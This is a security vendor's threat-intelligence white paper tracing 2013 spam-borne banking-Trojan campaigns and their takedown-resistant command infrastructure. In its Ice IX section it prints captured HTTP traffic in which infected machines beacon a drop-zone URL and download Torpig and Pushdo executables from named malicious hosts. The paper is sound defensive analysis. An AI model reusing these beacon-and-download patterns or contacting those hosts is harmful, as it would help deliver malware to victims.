The Trojan Wars: Building the Big Picture to Combat Efraud
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THE TROJAN WARS: BUILDING THE BIG PICTURE TO COMBAT EFRAUD MNEMONIC THREAT INTELLIGENCE UNIT White Paper TABLE OF CONTENTS INTRODUCTION ................................................................................3 THE INITIAL TORPIG CAMPAIGN ......................................................4 • Infection Cycles ..........................................................................................5 • Ice IX – Downloading Torpig and Pushdo ...................................................6 • Torpig Campaign C&C infrastructure ..........................................................9 • Ice IX Takedown Avoidance Technique .......................................................10 THE FOLLOW-ON P2P ZEUS CAMPAIGN ..........................................11 • Infection Cycles ...........................................................................................12 • Neurevt – Downloading P2P Zeus ..............................................................13 THE WAY FORWARD: CONCLUSIONS AND RECOMMENDATIONS ....14 ABOUT MNEMONIC ..........................................................................15 REFERENCES ...................................................................................16 THE TROJAN WARS - BUILDING THE BIG PICTURE TO COMBAT EFRAUD MNEMONIC AS INTRODUCTION Trojans are a very sophisticated type of malware and their use by cybercriminals to perform widespread eFraud is now well established. They are rarely operated in a standalone mode and the infrastructure used to spread and maintain Trojans is constantly becoming more robust. It is apparent that cybercriminals are spending a considerable amount of time and effort to maintain control of the computers that they have infected. Like managers of any modern day business they wish to protect their investment. We have followed two major Trojan distribution operations over more than five months analysing infection cycles and the associated Command & Control (C&C) infrastructure. The first operation we observed distributed the Torpig (Sinowal) Trojan [reference 1], while the second distributed the peer-to-peer (P2P) Zeus Trojan [2, 8]. Both operations used the Cutwail botnet [3] that specialises in distributing spam to spread Trojans. Blog articles and reports on parts of such malware distribution infrastructures are published daily. However, it is more challenging for targeted organisations, primarily retail banks, to create ‘the big picture’ of how the components work together to pose a considerably greater threat. In this white paper we have described the assembly of these components to show how the Trojan infrastructure has no single point of failure, why traditional takedown methods are ineffective, and why targeted organisations require first-rate threat intelligence with regional awareness. After reading this article we hope you will have an increased understanding of: • How bank Trojans operate at a technically detailed level • How it is possible to monitor and prevent infection by bank Trojans • The structure of Trojans, botnets and command and control infrastructures • The threat faced by retail banks from robust Trojan infrastructures 3 THE TROJAN WARS - BUILDING THE BIG PICTURE TO COMBAT EFRAUD MNEMONIC AS THE INITIAL TORPIG CAMPAIGN In June 2013, we observed large volumes of spam directed at Norway. The e-mails claimed to come from well-known Norwegian brands, including airlines, telecommunications operators and TV channels. The e-mails contained zip files as attachments. TrustWave Spiderlabs discovered a similar distribution of e-mail against Australia in the same period [4]. Their analysis concluded that the attachments contained Andromeda Loader [5], which downloaded the Trojan Zbot (a Zeus variant). Our analysis and monitoring revealed that the Trojan infrastructure used in this case was more complex and robust. Our initial analysis discovered that some of the emails sent to Norwegian recipients contained Andromeda Loader, while others contained Smoke Loader. Both Andromeda and Smoke Loader were used to download the Trojan Ice IX [6], a modified version of Zeus. In some cases we saw a two-stage download with Andromeda Loader downloading Smoke Loader which in turn downloaded Ice IX. The C&C domains used by Andromeda and Ice IX were identical to those reported by Spiderlabs. Ice IX, however, was not used as an attack platform, but to download the Trojan Torpig (Sinowal). After several weeks of such email we also observed some cases where Andromeda downloaded Torpig directly. Two weeks after the initial spread of such email, we saw that Ice IX downloaded the Pushdo Trojan [3, 7] in addition to Torpig. Pushdo was then used to download the spam engine Cutwail, and the infected machines then tried to distribute new versions of Andromeda and Smoke Loader as email attachments. To summarize, we observed many malware variants and download stages in this Trojan distribution campaign - all very interesting, but why the complexity? It turns out that the infrastructure used in this distribution operation has been designed to be very robust against takedowns, the primary technique that security companies and law enforcement authorities use to stop C&C infrastructures operating. Andromeda, Smoke Loader, Ice IX and Pushdo operated independently of each other after installation, and all were capable of downloading other types of malware. We observed that Ice IX periodically downloaded new versions of Torpig. If Torpig was removed from an infected computer, it was reinstalled by Ice IX shortly thereafter. If a part of the C&C infrastructure was stopped by outsiders, the other parts could be used to regain control. We also saw an effective tactic by Ice IX to avoid takedowns described later in this paper. This tactic was so successful that the criminals didn’t need to use Andromeda or Smoke Loader to regain control over the infected computers. We saw that other locations exposed to this Trojan distribution operation included Australia, Italy, the Netherlands, Germany and the United States. 4 THE TROJAN WARS - BUILDING THE BIG PICTURE TO COMBAT EFRAUD MNEMONIC AS Infection Cycles The best way of understanding the infection cycle of the Torpig campaign is to show it graphically. The flow chart below illustrates the relationships between the different types of malware and infection vectors we observed in this operation: Spam Smoke Loader Andromeda Leader Ice IX Torpig Pushdo (Sinowal) Cutwail 5 THE TROJAN WARS - BUILDING THE BIG PICTURE TO COMBAT EFRAUD MNEMONIC AS Ice IX – Downloading Torpig and Pushdo As soon as Ice IX was installed on an infected computer, it started to communicate with its drop zone every 10 minutes. A drop zone is generally used to harvest information from the infected computer, such as passwords. Communication with the drop zone – the URL hxxp://fincal[.]pl/ryadh.php (used in July 2013) – looked like this: POST /ryadh.php HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Host: fincal.pl Content-Length: 201 Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1 200 OK Server: nginx/1.4.1 Date: [REMOVED] Content-Type: text/html Connection: close Content-Length: 64 Ice IX’s drop zone was used to tell the infected computer where it should download Torpig. The encrypted response from the drop zone contained the URL of the .exe file that was used to install Torpig. This .exe file was then downloaded using a regular HTTP GET request: POST /ryadh.php HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Host: fincal.pl Content-Length: 352 Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1 200 OK Server: nginx/1.4.1 Date: [REMOVED] 6 THE TROJAN WARS - BUILDING THE BIG PICTURE TO COMBAT EFRAUD MNEMONIC AS Content-Type: text/html Connection: close Content-Length: 162 GET /sdfoh934hoasndfhsyfgbifgnpqwedfbhweinfwe.exe HTTP/1.1 Accept: / Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Host: shieldssmooth.org HTTP/1.1 200 OK Server: nginx Date: [REMOVED] Content-Type: application/octet-stream Content-Length: 183808 Last-Modified: [REMOVED] Connection: keep-alive ETag: [REMOVED] Accept-Ranges: bytes This .exe file then downloaded and installed Torpig’s .dll and .dat files from a different domain. Two weeks after the initial spread of malware, Ice IX downloaded Pushdo. This took place in the same manner as with Torpig, where the download was initiated by Ice IX’s drop zone: POST /ryadh.php HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Host: fincal.pl Content-Length: 320 Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1 200 OK Server: nginx/1.4.1 Date: [REMOVED] Content-Type: text/html Connection: close Content-Length: 134 7 THE TROJAN WARS - BUILDING THE BIG PICTURE TO COMBAT EFRAUD MNEMONIC AS GET /admin/images/icons/6.exe HTTP/1.1 Accept: / Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Host: sahdia.de HTTP/1.1 200 OK Date: [REMOVED] Server: Apache (prohost.de) Last-Modified: [REMOVED] ETag: [REMOVED] Accept-Ranges: bytes Content-Length: 46592